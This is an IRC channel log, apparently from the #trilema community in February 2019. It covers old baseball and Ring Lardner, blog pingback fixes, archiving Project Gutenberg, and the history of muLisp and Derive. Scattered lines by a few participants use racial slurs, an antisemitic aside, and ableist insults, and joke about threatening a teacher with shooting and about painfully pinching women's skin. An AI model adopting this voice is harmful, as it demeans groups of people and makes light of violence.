1892191;1549219928;BingoBoingo;There wasn't much money or much run scoring. "Deadball era" is the term that was applied after the fact 1892192;1549219946;mircea_popescu;BingoBoingo this isn't so, had major hold on kids. 1892193;1549219974;BingoBoingo;mircea_popescu: Major hold on kids, because low run count games are exciting 1892194;1549219981;mircea_popescu;in fact, period baseball may at least claim the honor of being among the few sports to have lived the sportive ideal, all that jazz about "creating moral imperative in young minds" etc. 1892195;1549220026;BingoBoingo;Home runs didn't much happen until after the world series was sold and derp came in to "fix" the game 1892196;1549220097;mircea_popescu;what the fuck is that retarded brit poem about the oxford oarsmen that then get massacred in egypt, "and england is far" bla bla. 1892197;1549220443;mircea_popescu;eh whatever it was. the idea being that some dude hearing the coxcomb going "play up" and then on the nile the same "play up" and heigh-ho ain't britain great for being dumb. something like that anyway. 1892198;1549220562;mircea_popescu;http://pennyspoetry.wikia.com/wiki/Vitai_Lampada_/_Henry_Newbolt << there we go. 1892199;1549220603;mircea_popescu;unlike whatever large-headed thai moron struggling to figure out a pipe, i live in this enchanted world where all i need do is whine -- mp's own this-or-that regiment stands ready at the teat, to stuff it in my mouth. 1892200;1549220607;mircea_popescu;THANKEE DARLINGS! 1892201;1549220758;BingoBoingo;Anyways, if there's anything that merits a mass printing its Al's inbox 1892202;1549220868;mircea_popescu;well, jack's outbox, but anyways. 1892203;1549221229;BingoBoingo;It also amazes how much healthier the incentive structures are. For filling the stands and winning the City Series (a thing because owning the ballpark was a business) the bonus was a substantial percent of the player's celery. Today some Jewish kid is dicking around trying to get somewhere between 200-500 million USD guaranteed over the next decade. 1892204;1549221244;BingoBoingo;During his declining years 1892205;1549221486;mircea_popescu;celery ahahaha 1892206;1549221574;BingoBoingo;*Apologies for mispelling Serious, the City Serious 1892207;1549221598;mircea_popescu;hence serious business. 1892208;1549221658;BingoBoingo;Indeed. Do the kids want to eat this winter or do they want to spend the winter digging holes back home 1892209;1549221695;BingoBoingo;Naturally the question is moot, because Allan's bitches will blow it all on furniture 1892210;1549221728;BingoBoingo;But the kids will dream 1892211;1549221773;BingoBoingo;Whether on Reddit or in Al's mailbox 1892212;1549222341;BingoBoingo;Anyway, so far all of today's logs go back to Cuntoo 1892213;1549226468;feedbot;http://trilema.com/2019/you-know-me-all/ << Trilema -- You know me, all! 1892214;1549227858;mircea_popescu;spyked nice article! it might even end up the current linkpoint for the various http://btcbase.org/log/2019-01-25#1889920 lost souls, "here, we know the future" item. 1892215;1549227858;a111;Logged on 2019-01-25 18:29 mircea_popescu: what have you learned in the intervening half decade then ? 1892216;1549227859;mircea_popescu;but i must protest re your blogotron that a) whay do footnote anchors not load the footnote in a hoover overlay! and b) whay does it send no pingbacks ? (or does it, did trilema eat them ?) 1892217;1549227859;mircea_popescu;an' also, what writings predating no longer online you mean ? 1892218;1549228031;mircea_popescu;i expect phf at the very least will muchly love a republican drakma. 1892219;1549229417;BingoBoingo;Meanwhile in local news, derps dedicated to ritually dirtying local waters derping about the water already being dirty https://www.montevideo.com.uy/Noticias/Afroumbandistas-reclaman-que-no-celebraron-Iemanja-en-paz-por-las-cianobacterias-uc709088 1892220;1549233191;feedbot;http://pizarroisp.net/2019/02/03/pizarro-isp-update-february-3rd-2019/ << PizarroISP -- Pizarro ISP Update February 3rd, 2019 1892221;1549233218;diana_coman;spyked, fwiw I did not get the pingback from your blog either 1892222;1549234186;diana_coman;BingoBoingo, comment is in modq 1892223;1549234246;diana_coman;it would be great to follow up all points/threads started in earlier updates really so they don't get lost 1892224;1549234368;diana_coman;the way it reads now, Jan 14 update has a lot of things starting and then by Feb3rd nothing is heard of them at all 1892225;1549234534;BingoBoingo;diana_coman: ty, approved. 1892226;1549234594;BingoBoingo;The January 14th mega update indeed opened a lot of threads. 1892227;1549234729;BingoBoingo;asciilifeform: When do you anticipate having brain space/time available to revisit the mechanization thread? 1892228;1549234769;diana_coman;I suppose being "updates" you focused only on what changed in the week covered but A. it makes it very difficult to follow because there's no help to re-load Pizarro issues (maybe just a list of issues at the end with dates and carried over until issue fully addressed?) and B. if nothing happened on crucial issues, it's best to keep them pinging at least 1892229;1549235097;BingoBoingo;I indeed focused on the changes. Everything about your proposal appears materially better than what I've been doing so far. Thank you for the constructive feedback, I'm going to implement it starting with the statement update. 1892230;1549235255;BingoBoingo;Opening up communication continues to pay dividends. 1892231;1549235990;*;BingoBoingo working on a "You know me Al!" post for the reason that I still have quite a bit of hayseed stuck in my headcase 1892232;1549244720;mircea_popescu;meanwhile in continuations http://btcbase.org/log/2019-01-31#1891084 of antique lulz, http://trilema.com/2014/the-nigger-a-practical-exercise/ 1892233;1549244720;a111;Logged on 2019-01-31 01:54 asciilifeform: (possibly the only gavin still going from that period?) 1892234;1549244741;mircea_popescu;that anil dash moron with aspirations also "still around". huzzah for cheap ramen. 1892235;1549248763;trinque;http://btcbase.org/log/2019-02-03#1892053 << updated sig can be found in the comments here >> http://trinque.org/2018/11/27/cuntoo-bootstrapper/#comment-52 1892236;1549248763;a111;Logged on 2019-02-03 17:20 mircea_popescu: hanbot pick a laptop, bake the man's cuntoo. (principal issue, that gentoo->cuntoo "bridge", see if his sig matches). 1892237;1549251208;mircea_popescu;need i mention that this is SUCH a wonderfully elegant device for checking exactly what we're interested in checking. 1892238;1549251270;mircea_popescu;asciilifeform anything we want ot include in this month's s.nsa report ? 1892239;1549253895;feedbot;http://bingology.net/2019/02/04/ring-lardner-and-confronting-my-own-inner-hayseed/ << Bingology - BingoBoingo's Blog -- Ring Lardner And Confronting My Own Inner Hayseed 1892240;1549259037;mircea_popescu;BingoBoingo anthropologist ; disservice. 1892241;1549262431;BingoBoingo;ty, fxd 1892242;1549284583;spyked;http://btcbase.org/log/2019-02-03#1892214 <-- o hey, ty! 1892243;1549284583;a111;Logged on 2019-02-03 21:04 mircea_popescu: spyked nice article! it might even end up the current linkpoint for the various http://btcbase.org/log/2019-01-25#1889920 lost souls, "here, we know the future" item. 1892244;1549284771;spyked;re http://btcbase.org/log/2019-02-03#1892216 , http://btcbase.org/log/2019-02-03#1892221 : a) do you mean the alt "title=..." text? I'll add it to the list of things to look into; b) pingback delivery is for now a manual process. will also have to add automation to thetarpit feature list 1892245;1549284771;a111;Logged on 2019-02-03 21:04 mircea_popescu: but i must protest re your blogotron that a) whay do footnote anchors not load the footnote in a hoover overlay! and b) whay does it send no pingbacks ? (or does it, did trilema eat them ?) 1892246;1549284771;a111;Logged on 2019-02-03 22:33 diana_coman: spyked, fwiw I did not get the pingback from your blog either 1892247;1549284872;spyked;more generally: although I've been tempted to switch to mp-wp, I'm still hoping to grow the current thetarpit code base into a minimal cl-based mp-wp-like blogotron. I'ma also put a genesis on the todo list. 1892248;1549284981;spyked;http://btcbase.org/log/2019-02-03#1892217 <-- for some reason, I took zenofeller to be a proto-trilema. I archived some of the posts, I think some of them can still be dug via archive.org 1892249;1549284981;a111;Logged on 2019-02-03 21:04 mircea_popescu: an' also, what writings predating no longer online you mean ? 1892250;1549296213;*;asciilifeform back inbiz 1892251;1549296293;asciilifeform;http://btcbase.org/log/2019-02-04#1892238 << possibly oughta include the tidbit re arithmetical part of ffa being 100% built (can gen rsa primez nao, can do so easily after ch17, where looping is introduced) 1892252;1549296293;a111;Logged on 2019-02-04 03:34 mircea_popescu: asciilifeform anything we want ot include in this month's s.nsa report ? 1892253;1549296341;asciilifeform;mircea_popescu: also can include the http://btcbase.org/log/2019-01-30#1890719 lul, if there's space. 1892254;1549296341;a111;Logged on 2019-01-30 16:46 asciilifeform: diana_coman: '0.61 seconds per iteration of M-R' is also lulzy , in context of http://btcbase.org/log/2019-01-24#1889742 1892255;1549296724;asciilifeform;http://btcbase.org/log/2019-02-04#1892248 << 1st i hear of the name, seems to be at least coupla diff people. tho dug up a https://archive.is/WnZJY , which reads almost trilema-like... 1892256;1549296724;a111;Logged on 2019-02-04 12:56 spyked: http://btcbase.org/log/2019-02-03#1892217 <-- for some reason, I took zenofeller to be a proto-trilema. I archived some of the posts, I think some of them can still be dug via archive.org 1892257;1549297268;asciilifeform;https://archive.is/7Pvov << moar from same fossilized www. whether in fact ancient mircea_popescu engl. practice or not, it's pretty good imho. 1892258;1549297344;asciilifeform;( ftr nuffin asciilifeform wrote in that period is imho worth the electrons. the only own item i even bothered pickling & preserving from that time, is http://www.loper-os.org/vintage/parallelsid/parasid.html ) 1892259;1549297453;*;asciilifeform took 1 single 'day off' and nao buried in tall pile of various chores. will slowly eat log buffer later today. 1892260;1549298106;spyked;asciilifeform, also related to "zeno" http://trilema.com/2009/am-scris-o-carte/ 1892261;1549298135;asciilifeform;spyked: i have that b00k, and liked 1892262;1549298151;mircea_popescu;spyked that's what i mean. it\s very convenient when reading short footnotes 1892263;1549298256;asciilifeform;'To sane humans, such a character is bewildering, but let's not forget an important piece of the puzzle. Jim Blow isn't there for sane humans. He's there for a very specific category of defective human minds. They call themselves "hackers" or something like that, and the rest of the world calls them nerds. ' << a++ imho 1892264;1549298285;mircea_popescu;incidentally, either spyked or lobbes what do you need to make a complete gutenberg.org copy ? it IS going away, for one thing the initiator guy died and for the other thing, with their world-famous http://btcbase.org/log/2017-03-15#1627828 there's no way they'll stay online all that long. 1892265;1549298285;a111;Logged on 2017-03-15 23:50 mircea_popescu: which incidentally - has been read TODAY by more people than read ALL of marcel proust's works since the making of gutenberg.org 1892266;1549298361;mircea_popescu;should prolly also salvage http://www.perseus.tufts.edu/hopper/ but that's going to be more work than a straight download & strip headers job. 1892267;1549298389;asciilifeform;mircea_popescu: apparently gutenberg is rsync'able ( https://archive.is/PWeNA ) , tho i haven't tried 1892268;1549298405;mircea_popescu;aha. not much work. 1892269;1549298428;mircea_popescu;totally must-be-done tho, lest the BingoBoingo 's of the future end up missing out on their soulfood. 1892270;1549298444;asciilifeform;would suck to have it end up like 'dejanews' et al. 1892271;1549298474;mircea_popescu;there's no doubt in my mind it will. 1892272;1549298512;mircea_popescu;never take pantsuit useful sites for granted ; they're always useful momentarily and coincidentally, because pantsuit is always more pantsuit than anything else, and the only thing pantsuit is is stupid, thus therefore useless and annoying. 1892273;1549298513;asciilifeform;http://flibusta.is is asciilifeform's routine 'gutenberg', been a while since i looked at the actual one 1892274;1549298541;mircea_popescu;asciilifeform can't be helped, you write in english. 1892275;1549298560;asciilifeform;yea won't dispute that oughta back up the shakespear etc 1892276;1549298587;asciilifeform;cuz it's headed to http://www.loper-os.org/?p=752#selection-99.0-217.84 . 1892277;1549298626;mircea_popescu;shakespeare isn't even the major problem ; the major problem are the english greats pantsuit ~deliberately~ ain't talking about, because very much http://trilema.com/2014/in-which-you-become-grain/ sorta reasons 1892278;1549298644;asciilifeform;verily. 1892279;1549298666;mircea_popescu;there's ALWAYS a denied middle in everything pantsuit does. shakespeare, it perceives it has no choice but to talk about, because a) "too big to fail" and b) whatever, "we'll '''antibody it away anyway". 1892280;1549298684;mircea_popescu;but lardner, who ever talked of the most important american writer in the us ? and WHY NOT ? 1892281;1549298714;mircea_popescu;very much exactly http://www.loper-os.org/?p=165#selection-311.0-311.469 reasons, yes ? 1892282;1549298748;asciilifeform;yarvin's original claim to fame (of a kind) was a short and abortive attempt at this, he dug up a buncha confederate/slavery/etc texts and mirrored/commented 1892283;1549298770;mircea_popescu;"we'd much rather not all be jack keefe, and you know what ? if we never ever mention it it's just as good as if we actually weren't. also, don't say king coon, nigger or cripple." 1892284;1549298785;mircea_popescu;asciilifeform problem being, those are shockingly fucking stupid. 1892285;1549298802;mircea_popescu;but yes, if one was aiming to alt-pantsuit jirinovski status, that's the right play. 1892286;1549298812;asciilifeform;good % was ( i admit, did not eat the whole collection, was snoar ) 1892287;1549298928;mircea_popescu;http://btcbase.org/log/2019-02-04#1892244 << manual how ? i have a script somewhere doing it for trilema, want me to dig it out ? 1892288;1549298928;a111;Logged on 2019-02-04 12:52 spyked: re http://btcbase.org/log/2019-02-03#1892216 , http://btcbase.org/log/2019-02-03#1892221 : a) do you mean the alt "title=..." text? I'll add it to the list of things to look into; b) pingback delivery is for now a manual process. will also have to add automation to thetarpit feature list 1892289;1549298969;mircea_popescu;http://btcbase.org/log/2019-02-04#1892247 << see how comms trip you up ? had you ~said~ this much i'd have said very different things, because i entirely don't see the problem with a cl blogotron. 1892290;1549298969;a111;Logged on 2019-02-04 12:54 spyked: more generally: although I've been tempted to switch to mp-wp, I'm still hoping to grow the current thetarpit code base into a minimal cl-based mp-wp-like blogotron. I'ma also put a genesis on the todo list. 1892291;1549299033;*;asciilifeform has at various times attempted cl blogotron, but broke teeth on acct of insufficient wwwfu. if spyked decides to genesis his, would seriously consider converting 1892292;1549299099;asciilifeform;mp-wp seems to work great , but asciilifeform hobbles when tryin' to modify it, php feels inescapably like cobol when i work with it 1892293;1549299183;mircea_popescu;you will be nonplussed to hear that my only mental model for php is this "lisp" thing they had for "especially bright kids to learn how to computer" bla bla back when i was a teen. 1892294;1549299196;mircea_popescu;i dunno why specifically it was called lisp, but it was stupid and verbose and i fucking hated it. 1892295;1549299214;asciilifeform;mircea_popescu: there's 3 generations of maffs students to whom 'lisp' means precisely this 1892296;1549299236;mircea_popescu;the annoying part is, i hated it so much i don't even have any distinct memory sufficient to identify wtf it even was. 1892297;1549299263;asciilifeform;most victims of this type of 'education' carry only 1 or 2 nervous ticks, e.g. paren-phobia , into adulthood 1892298;1549299279;asciilifeform;( http://www.loper-os.org/?p=295 oblig ) 1892299;1549299282;mircea_popescu;it didn't even have paranthesises! 1892300;1549299291;mircea_popescu;besides, derive was half-parens by weight, or more, and i liked derive fine. 1892301;1549299292;asciilifeform;neither did mccarthy's orig lisp btw 1892302;1549299317;*;asciilifeform ~still uses~ 'derive' on occasion. 1892303;1549299354;mircea_popescu;i dunno what it was, but the only fucking time i threatened a wanna-be teacher with shooting in my life. dork was derealized enough to think i was kidding. 1892304;1549299355;*;asciilifeform also has a ~decade-long on&off proj to reverse the thing properly. but not much movement on that front since tuning into tmsr. 1892305;1549299389;asciilifeform;'derive' actually contains an ultra-optimised, hand-asmed msdos lisp. 1892306;1549299424;mircea_popescu;you know asciilifeform ... just cutting out the asm lisp compiler and putting it on loper may be a huge boon. 1892307;1549299442;asciilifeform;hmm do i not have it mirrored ? 1892308;1549299445;asciilifeform;gotta fix this, brb 1892309;1549299585;mircea_popescu;im sure eg spyked would love ot give it a gander -- maybe he thereby learns asm and becomes as smart as ave1 for one, and maybe it helps his adalisp for the other. 1892310;1549299596;asciilifeform;http://loper-os.org/pub/mu/DERIVE.EXE , http://loper-os.org/pub/mu/mulisp.com << the latter is 'mulisp-87', there is also a '-90' that i was never able to track down. 1892311;1549299643;mircea_popescu;i thought it was 86. 1892312;1549299663;asciilifeform;have that 1 somewhere also, but will have to be pulled from optical disk if someone wants it specifically 1892313;1549299678;mircea_popescu;so there's actually 3 ? ha. 1892314;1549299682;asciilifeform;mircea_popescu: sadly 'mu' aint all that helpful for writing a hand-carved lisp -- it's in 16bit asm and has the segmentation bullshit intimately baked into it 1892315;1549299691;asciilifeform;mircea_popescu: at least 4, there was a '-83' also 1892316;1549299704;asciilifeform;( this one also existed for cp/m and z80 ) 1892317;1549299728;mircea_popescu;was the 90s thing that mulisp-xt or w/e, on the palm ? 1892318;1549299766;asciilifeform;i dunno re palm, but there was (and remains sold!) a 68k thing that runs on the ti calculator 1892319;1549299788;asciilifeform;http://btcbase.org/log/2015-09-13#1272527 << subj 1892320;1549299788;a111;Logged on 2015-09-13 08:26 BingoBoingo: Oh, TI-92 arrived yesterday. Much larger than I imagined 1892321;1549299791;mircea_popescu;hp made this tiny, "can't decide if laptop or pocket calculartor" item\ 1892322;1549299798;mircea_popescu;and the derive people announced it has a lisp also. 1892323;1549299803;BingoBoingo;AHA 1892324;1549299805;asciilifeform;hp-200lx 1892325;1549299806;asciilifeform;i have 1 1892326;1549299811;asciilifeform;it's an ordinary dos box, with the dos in rom 1892327;1549299814;mircea_popescu;https://www.cbronline.com/news/soft_warehouse_says_mulisp_90_is_up_on_h_ps_95lx_palmtop/ << 1892328;1549299821;asciilifeform;runs 'derive' just fine if you write it to the sram 1892329;1549299827;asciilifeform;95lx was the 1st model of same 1892330;1549299843;mircea_popescu;so is this the mulisp 90 then ? 1892331;1549299848;asciilifeform;i haven't yet encountered a version with 'derive' in the rom out of the box, but entirely possib that they sold one 1892332;1549299877;asciilifeform;mircea_popescu: the ver of derive.exe that i have, has the runtime from -87 baked in 1892333;1549299895;asciilifeform;i vaguely recall seeing one somewhere with a '-90', but possibly memory fails me or i dreamed it. 1892334;1549299901;mircea_popescu;hm. 1892335;1549299909;asciilifeform;(aficionados - plox to write in if find this) 1892336;1549299949;mircea_popescu;"DERMATOL está programado en muLISP-90 Version 7.00 (03/06/91) para IBM . PC MS-DOS de Soft Warehouse, Inc. Las funciones están definidas en base a la estructura y algoritmo de la red neuronal ." << no, item evidently DID exist. 1892337;1549299957;asciilifeform;quite interesting item, btw, e.g. http://btcbase.org/log/2017-01-24#1606321 1892338;1549299957;a111;Logged on 2017-01-24 01:51 asciilifeform: i'll point out that mulisp (47kB) included bignum (again, in asm) 1892339;1549299981;asciilifeform;i'ma de-pdfize the 1 and only piece of archaeology known to have been written on subj , http://btcbase.org/log/2015-09-07#1265693 , brb 1892340;1549299981;a111;Logged on 2015-09-07 21:39 ascii_field: ;;later tell gabriel_laddel http://www.sigsam.org/bulletin/articles/178/stoutemyer.pdf << some actual implementation details re: 'derive' & 'mulisp' 1892341;1549300023;asciilifeform;(orig link , unsurprisingly, dead ) 1892342;1549300030;mircea_popescu;you know ? 1892343;1549300221;mircea_popescu;http://btcbase.org/log/2019-02-04#1892248 << wtf is a walterschen.de ? 1892344;1549300221;a111;Logged on 2019-02-04 12:56 spyked: http://btcbase.org/log/2019-02-03#1892217 <-- for some reason, I took zenofeller to be a proto-trilema. I archived some of the posts, I think some of them can still be dug via archive.org 1892345;1549300260;mircea_popescu;https://web.archive.org/web/*/zenofeller << /me went an' searched 1892346;1549300308;asciilifeform;http://www.loper-os.org/pub/stoutemyer/index.html << for the l0gz, and for all 'derive' aficionados. 1892347;1549300465;mircea_popescu;asciilifeform re report, ima put in the amateurships yea 1892348;1549300484;asciilifeform;mircea_popescu: apparently i looked for '90' prior, http://btcbase.org/log/2017-01-25#1606671 , never found. 1892349;1549300484;a111;Logged on 2017-01-25 17:57 asciilifeform: unrelatedly, if phf or anybody else has a copy of mulisp-90, plz to post. 1892350;1549300495;mircea_popescu;http://btcbase.org/log/2019-02-04#1892255 << and besides, has book references. 1892351;1549300495;a111;Logged on 2019-02-04 16:12 asciilifeform: http://btcbase.org/log/2019-02-04#1892248 << 1st i hear of the name, seems to be at least coupla diff people. tho dug up a https://archive.is/WnZJY , which reads almost trilema-like... 1892352;1549300519;asciilifeform;mircea_popescu: if you think $item is at level of 'amateurship', dun put in 1892353;1549300556;mircea_popescu;no no not what i meant 1892354;1549300574;mircea_popescu;the amateurship ~lulz~, ie, look what we discovered and how usgtards ended up renamed. 1892355;1549300576;asciilifeform;aa a. 1892356;1549300664;asciilifeform;mircea_popescu: ftr i quite like the ancient pre-trilema, if you still have whole thing somewhere would be pretty great to read it off proper www, rather than usg's archive 1892357;1549300685;hanbot;spyked: (snip) <-- for some reason, I took zenofeller to be a proto-trilema. I archived some of the posts, I think some of them can still be dug via archive.org << oh sweet, i'ma happily wade knee-deep in these again awhile. 1892358;1549300700;mircea_popescu;lmao. back when hanbot was chitlins and things ? 1892359;1549300719;hanbot;practically miniature 1892360;1549300739;asciilifeform;back when asciilifeform was spending his days putting robot arm through glass doors etc 1892361;1549300752;mircea_popescu;asciilifeform it grew to at some point include a forum also, and i put a buncha cr pics from first trip there, which was teh ~only reason i considered over the years digging up archives, but was too lazy. 1892362;1549300772;asciilifeform;i dun imagine the colibri & ocelots changed much since then 1892363;1549300781;mircea_popescu;imagine you, they have! 1892364;1549300789;mircea_popescu;there's this place we visited then, that can not be found now anymore. 1892365;1549300794;mircea_popescu;though perhaps there's a lead. 1892366;1549300797;asciilifeform;a in ~that~ way , heh 1892367;1549300889;mircea_popescu;though in fairness, current crop entirely unsurpassed. much better camera, much better operator, mo' money... 1892368;1549300895;mircea_popescu;kinda goes for the whole thing, tbh. 1892369;1549300973;asciilifeform;perhaps swallowed by later material, but imho still pretty great read. 1892370;1549300986;asciilifeform;i like the formatting also. 1892371;1549300999;asciilifeform;very al-schwartz-ian formatting. 1892372;1549301052;mircea_popescu;actually rather evident http://btcbase.org/log/2018-08-04#1839388 calc. 1892373;1549301052;a111;Logged on 2018-08-04 13:57 mircea_popescu: exactly the same substance as the "artwork" basis of http://maddox.xmission.com/irule_.html 1892374;1549301082;asciilifeform;to round off stoutemyer item , http://p.bvulpes.com/pastes/kXgko/?raw=true << ocr txt from same. 1892375;1549301100;asciilifeform;'Implementing muLisp for the Intel 8086 was more challenging because the 1-megabyte address space was segmented into 64-kilobyte segments. The MS-DOS operating system reserved 360 kilobytes of that address space for its purposes, leaving 640 kilobytes for implementing and using muLisp. Awkward segmented architecture is becoming less common as memory costs decline. However, techniques for overcoming the limitations of short pointers a 1892376;1549301100;asciilifeform;re still relevant for implementing linked programs and data compactly....' 1892377;1549301134;trinque;http://btcbase.org/log/2019-02-03#1892055 << entirely sensible to rerun, sounds good. 1892378;1549301134;a111;Logged on 2019-02-03 17:24 diana_coman: trinque, it's possibly best to run your latest script and then hand over everything you need, fresh and clear? not a big issue otherwise to rummage and pack that dir but I don't even recall if I did not touch it further after that point when I sent the genesis patch so I'd rather not introduce artefacts 1892379;1549301331;hanbot;http://btcbase.org/log/2019-02-03#1892053 << there's an hp clunker willing to guineapig, but it's an i686, will that do? 1892380;1549301331;a111;Logged on 2019-02-03 17:20 mircea_popescu: hanbot pick a laptop, bake the man's cuntoo. (principal issue, that gentoo->cuntoo "bridge", see if his sig matches). 1892381;1549301345;mircea_popescu;can't see why not. 1892382;1549301412;hanbot;kk. scheduled for tomorrow evening. 1892383;1549301601;feedbot;http://qntra.net/2019/02/pantsuit-government-in-virginia-getting-boiled-by-national-pantsuits-over-having-once-been-young/ << Qntra -- Pantsuit Government In Virginia Getting Boiled By National Pantsuits Over Having Once Been Young 1892384;1549303170;*;asciilifeform was aboutta say 'hah, i threw out my last i686' but turns out nope, here's 1 runnin' still 1892385;1549308176;asciilifeform;re ancient-mircea_popescu thrd : https://archive.is/pMyw2 << also pretty interesting. 1892386;1549308264;feedbot;http://bimbo.club/2019/02/in-memoriam-giuseppe/ << Bimbo.Club -- In memoriam Giuseppe 1892387;1549310174;mircea_popescu;asciilifeform not like the femstate's bankruptcy were discovered last tuesday. 1892388;1549310262;mircea_popescu;http://www.notmilk.com/ however no longer in business, apparently. 1892389;1549310392;asciilifeform;mircea_popescu: not noose, but i simply like the flavour. just read 'guide to psychopathic rape', for instance, a+++ 1892390;1549310441;mircea_popescu;i guess ima put this in the report, "lost cto to binge reading ancient html site" 1892391;1549310453;asciilifeform;lol 1892392;1549310480;asciilifeform;i managed to fit it into timeslot of a meat chore, ftr!111 1892393;1549310496;mircea_popescu;win-win as they say. 1892394;1549310515;asciilifeform;yea tending heathens with headset, meanwhile primordial trilema.. 1892395;1549310541;mircea_popescu;must actually be a pretty grand experience. 1892396;1549310556;asciilifeform;it is, highly a++ recc'd to anybody who still finds himself tending heathens 1892397;1549310640;asciilifeform;in other lulz, swampistan went from -16 to +16 c in , haven't been able yet to get something reliable that doesn't require parsing html 1892439;1549316604;a111;Logged on 2019-02-04 16:48 mircea_popescu: http://btcbase.org/log/2019-02-04#1892244 << manual how ? i have a script somewhere doing it for trilema, want me to dig it out ? 1892440;1549316698;spyked;http://btcbase.org/log/2019-02-04#1892289 <-- post updated with some more context re. lisp blogotron http://thetarpit.org/posts/y05/082-tmsr-schedule-i.html#selection-177.0-179.1 the scope might still prolly not be 100% clear, it seems to require a separate post 1892441;1549316698;a111;Logged on 2019-02-04 16:49 mircea_popescu: http://btcbase.org/log/2019-02-04#1892247 << see how comms trip you up ? had you ~said~ this much i'd have said very different things, because i entirely don't see the problem with a cl blogotron. 1892442;1549316792;spyked;http://btcbase.org/log/2019-02-04#1892345 <-- neato! I'll give this a reread myself 1892443;1549316792;a111;Logged on 2019-02-04 17:11 mircea_popescu: https://web.archive.org/web/*/zenofeller << /me went an' searched 1892444;1549316917;spyked;http://btcbase.org/log/2019-02-04#1892309 <-- funfact: /me reads plenty of asm on his saecular assignments, mostly to maintain & debug shit software stacks that crash in weird ways. haven't written any asm in a while tho, and dos asm especially has been a challenge last time I looked at it 1892445;1549316917;a111;Logged on 2019-02-04 16:59 mircea_popescu: im sure eg spyked would love ot give it a gander -- maybe he thereby learns asm and becomes as smart as ave1 for one, and maybe it helps his adalisp for the other. 1892446;1549316935;*;spyked bbl, sleep 1892447;1549316982;mircea_popescu;spyked http://trilema.com/2015/how-to-fix-your-local-trackbacks/ << turns out i already had. 1892448;1549318324;mircea_popescu;"most people, when faced with a problem, will not investigate the cause of the problem, but will instead want to solve it because the problem is actually in the way of something more important than figuring out why something suddenly got in their way out of nowhere. if you are a programmer, you may reach for perl at this point, and perl can remove your problem. happy, you go on, but find another problem blocking your way, r 1892449;1549318324;mircea_popescu;equiring more perl -- the perl programmer who veers off the road into the forest will get out of his car and cut down each and every tree that blocks his progress, then drive a few meters and repeat the whole process. whether he gets where he wanted to go or not is immaterial -- a perl programmer will happily keep moving forward and look busy. getting a perl programmer back on the road is a managerial responsibility, and it 1892450;1549318325;mircea_popescu; can be very hard: the perl programmer is very good at solving his own problems and assure you that he's on the right track -- he looks like any other programmer who is stuck, and this happens to all of us, but the perl programmer is very different in one crucial capacity: the tool is causing the problems, and unlike other programmers who discover the cause of the problem sooner or later and try something else, perl is reward 1892451;1549318330;mircea_popescu;ing the programmer with a very strong sense of control and accomplishment that a perl programmer does _not_ try something else." 1892452;1549318335;mircea_popescu;this is remarkably fucking true about, you've guessed it, ~social media~. 1892453;1549318400;mircea_popescu;much unlike naggum's mythical perl, doods sit around doing nothing all day with their reward circuitry so blownout, they literally fail to understand that no, "your message was too long" is an inacceptable reaction to the situation where "my phone is uselessly broken" 1892454;1549318763;mircea_popescu;hence, 1892455;1549318765;mircea_popescu;"a person's behavior is shaped by the rewards and the punishment he has received while not thinking about his own actions. few people habitually engage in the introspection necessary to break out of this "social programming" or decide to ignore the signals that other people send them, so this is a powerful mechanism for programming the unthinking masses. rewarding idiotic behavior and punishing smart behavior effectively bra 1892456;1549318765;mircea_popescu;inwashes people, destroying their value systems and their trust in their own understanding and appreciation of the world they live in, but if you're very good at it, you can create a new world for them in which all of this makes sense. 1892457;1549318766;mircea_popescu;" 1892458;1549319643;asciilifeform;http://btcbase.org/log/2019-02-04#1892453 << today 'mythical', but in '98 or when it was he wrote , was in fact troo specifically starring perl. (today other crapola, and moar fragmented so not immediately pointable to as 'hey, perl' ) 1892459;1549319643;a111;Logged on 2019-02-04 22:13 mircea_popescu: much unlike naggum's mythical perl, doods sit around doing nothing all day with their reward circuitry so blownout, they literally fail to understand that no, "your message was too long" is an inacceptable reaction to the situation where "my phone is uselessly broken" 1892460;1549319665;mircea_popescu;myeah. 1892461;1549319827;*;asciilifeform at one pt actually ~was~ 1 of the people naggum wrote about, who 'reached for perl like goebbels for pistol when heard word 'culture'' . then one day realized what it was doing to his brain and ~quit~ , like BingoBoingo quit drink, and never touched since 1892462;1549319884;asciilifeform;i dunno whether organism ever fully recovers from perl. but been 'dry' for decade nao... 1892463;1549320125;mircea_popescu;is perl here distinct from bash ? 1892464;1549320139;asciilifeform;only in same way as whiskey distinct from beer 1892465;1549320148;asciilifeform;'get to rock bottom' faster. 1892466;1549320226;asciilifeform;arguably there was 'perlism' prior to perl, just as there was surely alcoholism prior to cheap gin. 1892467;1549320230;asciilifeform;but quite diff scale. 1892468;1549320252;mircea_popescu;except i don't drink beer, but drink spirits. not whiskey, nor any other stoolbrandy, but nevertheless. 1892469;1549320281;asciilifeform;rright but you dun do it as central focus of all life. 1892470;1549320284;mircea_popescu;what about http://btcbase.org/log/2019-01-29#1890575 ? 1892471;1549320284;a111;Logged on 2019-01-29 17:34 asciilifeform: comments ( grep -P '^\s*--' ) turn out to be 1835 ln in libffa and 390 in ffacalc. 1892472;1549320293;asciilifeform;mircea_popescu: i also drink spirits, note. 1892473;1549320297;asciilifeform;occasionally. 1892474;1549320300;asciilifeform;and bash. 1892475;1549320304;mircea_popescu;this "structured data" argument is good enough in the general, but consider what it'd have cost you to actually have all that pre-structured, rather than bash-prototype 1892476;1549320318;asciilifeform;i even own a vise-grip. 1892477;1549320327;asciilifeform;'the wrong tool for erry job'(tm)(r) 1892478;1549320333;mircea_popescu;"i can't do any ffa work because i'm working on a manner in which to do it that wouldn't produce the idle inquiry of loc 6 months in" 1892479;1549320333;asciilifeform;but erry so often, you gotta. 1892480;1549320350;mircea_popescu;asciilifeform it's the perfect tool for ONE job, as my recent header illustrates. 1892481;1549320358;mircea_popescu;it will pinch girly skin most painfully. 1892482;1549320364;asciilifeform;also unlike e.g. rms, asciilifeform even washes, even tho washing dun even directly bake any ffa... 1892483;1549320416;asciilifeform;mircea_popescu: in asciilifeform's planet vise-grip is used for exactly 1 thing ( when working on ancient auto engine, to clamp the old dead hood lift piston in place... ) 1892484;1549320450;asciilifeform;i suspect errybody else also has 'that 1 use..' 1892485;1549320453;mircea_popescu;no wonder it sunk. 1892486;1549320470;mircea_popescu;im telling you, it's for augmented pinching 1892487;1549320484;asciilifeform;i thought that's what haemostat is for!111 1892488;1549320500;asciilifeform;( dun errybody own bag of classic surgical toolz ?? ) 1892489;1549320580;mircea_popescu;no way, you're liable to tear skin with that thing. 1892490;1549320596;mircea_popescu;vise grip, nice square cm flat surfaces. 1892491;1549320606;asciilifeform;you dun have those rubber-coated haemostats ? 1892492;1549320622;asciilifeform;( they come in 9000 